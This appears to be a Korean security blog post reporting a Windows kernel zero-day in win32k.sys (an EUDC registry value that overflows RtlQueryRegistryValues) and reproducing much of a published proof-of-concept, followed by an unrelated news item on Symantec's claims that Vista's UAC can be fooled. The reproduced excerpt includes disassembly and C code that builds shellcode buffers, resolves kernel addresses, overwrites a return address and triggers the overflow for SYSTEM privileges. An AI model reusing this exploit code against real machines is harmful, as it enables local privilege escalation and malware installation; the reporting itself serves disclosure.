지난 11월 24일, 외국의 유명한 프로그래밍 관련 사이트에서 윈도우의 패치되지 않은 취약점에 대한 공격 코드 즉, 제로데이가 발표되었습니다. 이 취약점은 윈도우 XP, 비스타, 7 등의 클라이언트 운영체제 뿐만 아니라 윈도우 2008과 같은 서버용 운영체제에서 발견되어 충격을 주고 있습니다.

이 취약점은 윈도우 커널(win32k.sys)의 버퍼 오버플로 시에 발생하며, 공격자는 윈도우의 UAC(User Access Control) 기능을 우회할 수 있습니다.

PoC(Proof of Concept) 공격 코드에서는 윈도우의 관리자 계정이 아닌 일반 계정으로도 특정한 키를 생성할 수 있는 것으로 제시하고 있습니다. 물론, win32k.sys가 커널에 관련된 파일로 일부 운영체제에서는 PoC 코드가 BSOD(블루스크린)을 보이기는 하지만 일부 수정만 한다면 문제없이 공격이 가능하리라 예상됩니다.

다행인지 모르지만, 지금까지는 이 취약점은 로컬에서 공격이 가능하다고 언급하고 있지만, 공격 방식에 따라 다른 형태로도 가능하리라 예상됩니다.


위의 화면에서 보면, 처음 사용자 권한은 일반인 user 였지만 공격 코드를 실행한 후에는 system 권한을 가지게 된 것을 볼 수 있습니다.

아래 코드는 웹사이트에 공개한 PoC 중의 일부 코드 및 설명입니다.

  1. Introduction
  2.  
  3. I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control.
  4.  
  5. The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registry values by a query table, given the EntryContext field as output buffer. There is a problem that this field can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by the actual buffer, and this is determined by the type of the registry key being queried.
  6. Using the code
  7.  
  8. In this example, I found a registry key which can be manipulated with only user rights, by changing its type to REG_BINARY overflows the kernel. When Win32k.sys->NtGdiEnableEudc queries HKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONG value in this structure represents the length of the string buffer, but if the value in registry is REG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites the stack.
  9. Collapse
  10. Collapse
  11.  
  12. .text:BF81BA91                 push    esi             ; Environment
  13. .text:BF81BA92                 push    esi             ; Context
  14. .text:BF81BA93                 push    offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable
  15. .text:BF81BA98                 push    edi             ; Path
  16. .text:BF81BA99                 lea     eax, [ebp+DestinationString]
  17. .text:BF81BA9C                 push    esi             ; RelativeTo
  18. .text:BF81BA9D                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ; _RTL_QUERY_REGISTRY_TABLE * SharedQueryTable
  19. .text:BF81BAA3                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h
  20. .text:BF81BAAD                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemdefaulte ; "SystemDefaultEUDCFont"
  21. .text:BF81BAB7                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax
  22. .text:BF81BABC                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi
  23. .text:BF81BAC2                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi
  24. .text:BF81BAC8                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi
  25. .text:BF81BACE                 mov     dword_BFA198FC, esi
  26. .text:BF81BAD4                 mov     dword_BFA19900, esi
  27. .text:BF81BADA                 mov     dword_BFA19904, esi
  28. .text:BF81BAE0                 call    ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryValues(x,x,x,x,x)
  29. .text:BF81BAE6                 mov     [ebp+var_8], eax
  30.  
  31. Stack trace shows the calling process is as follows:
  32.  
  33. GDI32.EnableEUDC ->
  34. NtGdiEnableEudc ->
  35. GreEnableEUDC ->
  36. sub_BF81B3B4 ->
  37. sub_BF81BA0B ->
  38. RtlQueryRegistryValues (Overflow occurs)
  39.  
  40. Given this we can design the registry value which will precisely overwrite the return address of the calling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a simple kernel PE loader, which will eventually load a driver that will escalate "cmd.exe” process privilege regardless of UAC.
  41. Collapse
  42. Collapse
  43.  
  44. // Allocate buffer for the driver
  45. LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  46. memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));    
  47.  
  48. BYTE* pMem;            // shellcode
  49. DWORD ExpSize = 0;
  50.  
  51. BYTE RegBuf[0x40] = {0};    // reg binary buffer
  52.  
  53. pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  54. memcpy(pMem, Data, sizeof(Data));                // Copy shellcode
  55.  
  56. *(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem;        // Point return value to our buffer
  57.  
  58. ExpSize = 0x28;
  59.  
  60.  
  61. The shellcode need some kernel APIs, we need to get their addresses from the running kernel.
  62. Collapse
  63. Collapse
  64.  
  65. // Get the running kernel file name
  66. HMODULE hDll = GetModuleHandle(L"ntdll.dll");
  67. pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,"ZwQuerySystemInformation");
  68. PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;
  69. ULONG AllocSize = 0;
  70. fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
  71.  
  72. pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
  73. fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
  74. HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);
  75.  
  76. //Relocation to the running kernel base
  77. DWORD Delta =  (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel;
  78.  
  79. free(pModInfo);
  80.  
  81. // For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,
  82. // so we need a valid pool address to avoid BSOD.
  83.  
  84. if(vi.dwBuildNumber < 7600)    
  85. {
  86.     FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);
  87.  
  88.     HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC");
  89.     PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));
  90.     AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
  91.     fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
  92.  
  93.     pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
  94.     fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
  95.  
  96.     for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
  97.     {
  98.         if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy)
  99.         {
  100.             *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18;
  101.             break;
  102.         }
  103.     }
  104.     free(pHandleInfo);
  105. }
  106. else
  107. {
  108.     FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);
  109. }
  110.  
  111. // Now fills the API addresses needed
  112. FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);
  113. FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);
  114. FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta);
  115. FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);
  116. FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);
  117. FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);
  118. FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);
  119. FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);
  120. FreeLibrary(hKernel);
  121.  
  122. // Here we tell the shellcode(PE loader) where the driver buffer is.
  123. FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));
  124. FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);
  125.  
  126.  
  127. Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit.
  128. Collapse
  129. Collapse
  130.  
  131. UINT codepage = GetACP();
  132. TCHAR tmpstr[256];
  133. _stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage);        // Get current code page
  134. HKEY hKey;
  135. RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
  136. RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
  137.  
  138. RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);
  139.  
  140. __try
  141. {
  142.     EnableEUDC(TRUE);    
  143. }
  144. __except(1)
  145. {
  146. }
  147. RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
  148. RegCloseKey(hKey);
  149.  
  150. After running this PoC, just type "whoami" in command prompt to see the escalated user credentials.
  151. Points of Interest
  152.  
  153. All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue.
  154. Additional Information
  155.  
  156. This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are:
  157. Windows Vista/2008 6.1.6000 x32,
  158. Windows Vista/2008 6.1.6001 x32,
  159. Windows 7 6.2.7600 x32,
  160. Windows 7/2008 R2 6.2.7600 x64.
  161. Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included.


아직까지 현 문제점에 대해 추가적인 언급이나 대책이 발표되지 않았으며, 공격 코드의 공개로 인해 악성코드 제작자의 활약(!)이 예상됩니다.



감사합니다.

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    마이크로소프트가 새 운영체제, 윈도우 비스타의 강화된 보안기능 중 하나로 내세운 것은 사용자 계정 제어(UAC, User Account Control)이다.

    이로 인해서 관리지와 일반 사용자간의 시스템에 대한 제어 권한을 엄격히 구분함으로써 악성 코드의 침입과 설치 및 구동을 막겠다는 것이 마이크로소프트의 의도. 하지만 이 UAC도 해커가 충분히 속일 수 있고 이를 100% 신뢰해서는 안된다고 보안 전문 업체인 시만텍이 밝혔다.

    시만텍의 위협 연구팀 보안 연구원 올리 화이트하우스는 블로그를 통해서 파일내 포함된 악성 코드로 UAC 경고를 기만할 수 있다고 공개했다. 이를 통해 트로이 목마나 혹은 써어드 파티 애플리케이션의 결함을 통한 악성 코드를 비스타 시스템내에 심어놓고 시스템 제어권한을 탈취당할 수도 있다고 그는 경고했다. 또한 악의적으로 만들어진 dll 파일을 시스템 내에 삽입시켜 일반 사용자들의 권한을 사용자가 모르게 해제시켜버릴 수도 있다고 그는 밝혔다.

    그리고 이전 윈도우 제어판 플러그인화 호환성을 제공하는 “RunLegacyCPLElevated.exe"가 완전한 관리자 권한을 가지고 실행되기 때문에 이를 통해서 악성 코드의 실행을 사용자로 하여금 유도하고 시스템 제어권을 해커가 빼앗아갈 수 있다고 그는 주장했다. 이 과정에서 해커는 비스타가 제어 레벨을 파일별로 다르게 표시하는 것을 해커가 바꾸어 (일례로 비스타는 초록, 청회색, 황색등으로 파일의 안전성을 표기한다) 사용자가 무심하게 안전하지 않은 파일을 클릭하도록 유도하게 한다는 것이다.

    그의 주장대로라면 UAC를 통한 것이 오히려 사용자들이 안심하고 악성 코드를 설치하도록 하는 위험한 환경이 될 수도 있다는 것이다. 그는 UAC가 절대 직접적인 보호를 해주는 것이 아니며 단지 정보를 제공해주는 도구일 뿐이라고 UAC를 절대 신뢰할 수는 없다고 주장했다.

    UAC는 높은 보안성으로 마이크로소프트는 이로 인한 웜의 창궐이나 해커에게 제어권을 탈취당해 스팸메일과 악성코드의 무차별적인 배포를 줄일 수 있을 것으로 기대하고 있다. 그러나 보안성 이외에도 윈도우 XP와 달라진 보안 체계 및 프로그램 설치 권한 차이로 인해서 온라인 게임이나 인터넷 뱅킹에 있어 액티브 X 설치의 어려움으로 인한 호환성 문제도 부작용으로 지적되고 있기도 하다.

    출처: 케이벤치

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